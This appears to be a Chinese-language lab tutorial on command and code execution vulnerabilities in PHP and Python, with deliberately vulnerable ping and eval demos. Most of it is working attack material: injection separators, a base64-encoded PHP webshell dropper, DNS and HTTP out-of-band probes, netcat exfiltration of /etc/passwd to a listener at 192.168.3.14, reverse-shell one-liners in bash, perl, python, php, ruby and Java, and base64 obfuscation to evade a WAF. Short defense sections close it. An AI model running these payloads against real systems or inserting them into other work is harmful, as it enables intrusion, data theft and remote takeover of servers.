命令执行漏洞
1、命令执行漏洞/RCE描述
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
RCE漏洞准确的分为两种:
- 远程系统命令执行:一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
- 远程代码执行:同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
程序员使用脚本语言(比如 PHP)开发应用程序过程中,脚本语言开发十分快速、简洁,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序。当应用需要调用一些外部程序时就会用到一些执行系统命令的函数。应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞。
如在 PHP 中可以调用外部程序的常见函数:
- system(args) 有回显
- passthru(args)(有回显)
- exec(args) (回显最后一行-必须 echo 输出)
- shell_exec(args) (无回显-必须输出)
在python中调用外部程序的常用方法:
- os模块的execl方法
- 使用os模块的system方法
- 使用os模块的popen方法
- 使用commands模块的getoutput方法
2、命令执行漏洞危害
- 继承 Web 服务器程序的权限,去执行系统命令
- 继承 Web 服务器程序的权限,读写文件
- 反弹 shell
- 控制整个网站
- 甚至控制整个服务器
漏洞demo,用户输入ip,然后进行ping操作的一个功能:
if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
$ip=$_POST['ipaddress'];
// $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255
if(stristr(php_uname('s'), 'windows')){
// var_dump(php_uname('s'));
$result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
}else {
$result.=shell_exec('ping -c 4 '.$ip);
}
}
对于用户可控的变量没做处理直接给执行了。
可以直接进行攻击
3、命令执行漏洞攻击
使用不同的shell语法进行攻击
3.1 分号 ;
命令按照顺序(从左到右)被执行,并且可以用分号进行分隔。当有一条命令执行失败时,不会中断其它命令的执行。
ping -c 4 127.0.0.1;cat /etc/passwd
# 可以直接
;cat /etc/passwd
3.2 管道符 |
通过管理符 可以将一个命令的标准输出管理为另外一个命令的标准输入,当它失败后,会执行另外一条命令
ping -c 1 127.0.0.1|whoami
3.3 后台任务符号 &
命令按照顺序(从左到右)被执行,跟分号作用一样;此符号作用是后台任务符号使 shell 在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作
ping -c 4 127.0.0.1&cat /etc/passwd&
3.4 逻辑与 &&
前后的命令的执行存在逻辑与关系,只有【&&】前面的命令执行成功后,它后面的命令才被执行
ping -c 4 127.0.0.1&&whoami
3.5 逻辑或 ||
前后命令的执行存在逻辑或关系,只有【 | 】前面的命令执行失败后,它后面的命令才被执行; |
ping -c ||whoami
3.6 反引号 `
当一个命令被解析时,它首先会执行反引号之间的操作。例如执行 echo ls -a
将会首先执行 ls 并捕获其输出信息。然后再将它传递给 echo,并将 ls 的输出结果打印在屏幕上,这被称为命令替换
echo `whoami`
3.7 命令执行 $(command)
这是命令替换的不同符号。当反引号被过滤或编码时,可能会更有效。
ping -c 4 127.0.0.1 | echo $(whoami)
3.8 windows 下命令连接符
| & || &&
跟 linux 一样
3.9 总结
发现命令执行漏洞,如果是回显的情况下,获取系统敏感信息。
有回显的:
# win
type c:\windows\win.ini
# linux
cat /etc/passwd
无回显:
有回显的情况下相对交少,一般在实战环境环境中,无回显的环境较多,证明漏洞存在就需要各种利用外通信技巧
4、命令执行漏洞外通信技巧
4.1 利用管道符号写入 SHELL
如果存在漏洞的页面有 web 服务器,有权限写入,利用 shell 命令写入 webshell 后门到网站目录,访问即可获取 webshell
| echo "PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWydjbWQnXSk/Pg=="|base64 -d >shell.php
把PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWydjbWQnXSk/Pg==
解码,然后写入到shell.php
里面
解码后内容为:<?php phpinfo();eval($_POST['cmd'])?>
4.2 dnslog
dnsloghttp://www.dnslog.cn/
是一个显示解析记录的平台,在无回显的情况下,通过访问 dnslog,dnslog 会把你访问的子域名的头文件记录下来。
打开dnslog然后生成一个随机的子域名,在有漏洞的页面进行尝试输入
127.0.0.1 | ping `whoami`.3el05z.dnslog.cn
然后去dnslog刷新一下,就可以看到有带着对方的主机用户的访问记录,就可以证明这里有漏洞。
4.3 burp suite
burpcollaborator 测试无回显
测试的原理和 dnslog 一样
-
使用 burpsuite 的 burpcollaborator 复制
-
点击 copyt to clipboard 复制测试的子域名再拼接子域名
ping -c 4 127.0.0.1| ping `whoami`.xlmiw1sf16svvsbtwr5upgac137tvi.burpcollaborator.net
- Poll now 是刷新频率,如果有访问记录,会自动把请求记录下来,这个时候就能看到回显的字符。
4.4 利用日志测试无回显
利用 HTTP 协议,访问 WEB 中间件时,iis 或者 apache 或者小型服务,都存在访问日志。在 kali 上开启 python的小型服务器。再用 curl 协议访问远程服务器 ip 的 80 端口,再到 kali 的终端查看记录即可。
开启服务:
sudo python -m simpleHTTPServer 80
测试:
ping -c 4 ||curl http://192.168.3.14/?`whoami`
ping -c 4 ||wget http://192.168.3.14/?`whoami`
4.5 netcat
如果目标系统存在有netcat,在ubuntu系统都会存在的。使用命令读取文件传递到远程服务器上
远程服务器监听命令,监听到了就会存到passwd
这个文件里面
nc -lp 9999 >passwd
本地执行命令,读取/etc/passwd
文件,发送到远程服务器上
nc 192.168.3.14 9999 </etc/passwd
# 在页面中需要加 ||,页面攻击语句为:
|| nc 192.168.3.14 9999 </etc/passwd
会在查看远程服务器生成 passwd 文件,查看文件如下
┌──(kali㉿kali)-[~]
└─$ cat passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
.... 略
5、命令执行漏洞 nc 反弹shell
在执行命令漏洞,一般的利用方式是执行反弹 shell,再进行其他的操作。
反弹 shell 因为是从受害者,反向连接远程服务器,请求是从内部到外部,所以防火墙防火墙是不会进行拦截。
执行反弹 shell 的命令有许多。
远程服务器 nc 监听命令
nc -vlnp 8080
nc(或者netcat)的用途是被用来做关于TCP或者UDP协议的事情。可以打开TCP连接,发送UDP包,监听任意的TCP或者UDP端口,做端口扫描,处理IPv4或者IPv6。它不像telnet(1), nc脚本优美且在标准错误端会有单独的错误提示信息,而不是把这些错误发送给标准输出(telnet就这么干的)
nc 做远程控制原理实际上和之前的传文本一样,服务器端起监听,客户端端去链接,之后监听的服务器端传一个自己的shell过去到客户端
bash -i >& /dev/tcp/192.168.3.14/8080 0>&1
# 网页攻击语句如下
||/bin/bash -c 'bash -i>& /dev/tcp/192.168.3.14/8080 0>&1'
在kali服务器里面拿到的交互shell:
└─$ nc -vlnp 8080
listening on [any] 8080 ...
connect to [192.168.3.14] from (UNKNOWN) [192.168.3.16] 46262
bash: cannot set terminal process group (1469): Inappropriate ioctl for device
bash: no job control in this shell
www-data@moonsec:/var/www/html/06/vul/rce$ ifconfig
ifconfig
ens33 Link encap:Ethernet HWaddr 00:0c:29:f0:d2:11
inet addr:192.168.3.16 Bcast:192.168.3.255 Mask:255.255.255.0
... 太长,略
受害者反弹 shell 命令,每种语言都有 sock 连接命令,可以根据不通过的环境,选择合适的命令。
perl -e 'use Socket;$i="192.168.3.14";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(
S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");ex
ec("/bin/sh -i");};'
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.3.14
",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("192.168.3.14",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby -rsocket -e'f=TCPSocket.open("192.168.3.14",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d
2>&%d",f,f,f)'
nc -e /bin/sh 192.168.3.14 8080
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.3.14 8080 >/tmp/f
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.3.14/8080;cat <&5 | while read line; do \$line
2>&5 >&5; done"] as String[])
p.waitFor()
如果有 waf 进行拦截,可以把语句进行 base64 加密后,因为加密后的字符串没有触发拦截规则,再利用 shell 命令再进行解码。
bash -i >& /dev/tcp/192.168.0.103/8080 0>&1
base64 编码后 YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAzLzgwODAgMD4mMQ==
受害者执行
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTMzLzgwODAgMD4mMQ=="|base64 -d|bash
远程服务器监听
6、命令执行漏洞防御
- 不执行外部的应用程序或命令:尽量使用自定义函数或函数库实现外部应用程序或命令的功能。在执行 system、eval 等命令执行功能的函数前,要确认参数内容。
- 使用 escapeshellarg 函数处理相关参数:escapeshellarg 函数会将用户引起参数或命令结束的字符进行转义,如单引号“’”会被转义为“’”,双引号“””会被转义为“””,分号“;”会被转义为“;”,这样 escapeshellarg 会将参数内容限制在一对单引号或双引号里面,转义参数中包括的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击的目的。
- 使用 safe_mode_exec_dir 执行可执行的文件路径:将 php.ini 文件中的 safe_mode 设置为 On,然后将允许执行的文件放入一个目录,并使用safe_mode_exec_dir 指定这个可执行的文件路径。这样,在需要执行相应的外部程序时,程序必须在safe_mode_exec_dir 指定的目录中才会允许执行,否则执行将失败。
7、代码执行漏洞
当应用在调用一些字符串转化为代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码注入漏洞(代码执行漏洞)。
代码执行漏洞是一种很严重的漏洞,因为能注入执行脚本代码,所以利用的手段很多,常见的执行命令,获取敏感信息,写入 web 后门等
代码执行常见函数
- PHP: eval()、assert()、preg_replace()
- python: eval
- Java 没有类似于前面两者的函数,但是有反射机制,并且有基于反射机制的表达式引擎,如:0GNL、SpEL、MVEL 等
漏洞demo
<?php
$data = isset($_GET['data'])?$_GET['data']:'这是一个 eval 漏洞页面';
@eval($ret = $data);
echo $ret;
?>
常见的代码执行漏洞大概有三种
- eval 代码执行漏洞:就是上面例子的
eval()
执行漏洞 - 动态代码执行漏洞:动态代码执行漏洞,在程序开发过程中,需要用动态调用函数,如果参数可控的情况下,会造成代码执行漏洞。
- 正则代码执行漏洞
preg_replace 使用了 /e 模式,导致可以代码执行
7.1 代码执行的防御方法
- 使用 json 保存数组,当读取时就不需要使用 eval 了
- 对于必须使用 eval 的地方,一定严格处理用户数据(白名单、黑名单)
- 字符串使用单引号包括可控代码,插入前使用 addslashes 转义(addslashes、魔数引号、htmlspecialchars、 htmlentities、mysql_real_escape_string)
- 放弃使用 preg_replace 的 e 修饰符,使用 preg_replace_callback()替换(preg_replace_callback())
- 若必须使用 preg_replace 的 e 修饰符,则必用单引号包裹正则匹配出的对象(preg_replace+正则)